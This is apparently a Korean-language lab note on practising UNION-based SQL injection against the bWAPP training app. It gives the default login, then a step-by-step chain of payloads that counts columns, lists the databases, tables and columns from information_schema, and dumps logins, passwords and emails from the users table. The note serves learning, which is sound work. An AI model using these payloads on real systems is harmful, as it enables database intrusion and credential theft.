

NAT 설정으로 둘다 같은 대역대 공유

초기 id, pw
bee / bug

UNION 구문을 사용하려면 이전 쿼리에서 사용하는 SELECT 문의 칼럼 수가 일치해야 한다.
=> 이점을 이용해 현재 테이블의 칼럼 개수를 알아내는 과정



컬럼개수는 총 7개

=> 사용자에게 출력되는 부분이 2,3,5,4 번
2, 3, 4, 5 번 컬럼을 이용하여 원하는 정보 추출
' union select 1,database(),version(),4,5,6,7 #

현재 사용중인 DB : bWAPP
sql 서버에 존재하는 database 목록 추출
' union select 1,schema_name,3,4,5,6,7 from information_schema.schemata #

limit으로 하나씩 추출' union select 1,(select schema_name FROM information_schema.schemata limit 1),3,4,5,6,7 #

' union select 1,(select schema_name FROM information_schema.schemata limit 1,1),3,4,5,6,7 #

' union select 1,(select schema_name FROM information_schema.schemata limit 2,1),3,4,5,6,7 #

' union select 1,(select schema_name FROM information_schema.schemata limit 3,1),3,4,5,6,7 #

' union select 1,table_name,3,4,5,6,7 from information_schema.tables #

테이블 목록 나타남
' union select 1,table_name,3,4,5,6,7 from information_schema.tables where table_schema = 'bWAPP' #
where table_schema = database() 해도 결과는 같음스칼라 함수
table_schema: 데이터베이스 이름
table_name: 테이블 이름

' union select 1,column_name,3,4,5,6,7 from information_schema.columns where table_schema = 'bWAPP' #

' union select 1,column_name,3,4,5,6,7 from information_schema.columns where table_name = 'users' #

USERS 테이블의 칼럼 명을 출력
' union select 1,id,login,password,email,6,7 from users #

0' union select 1,id,login,password,email,6,7 from users #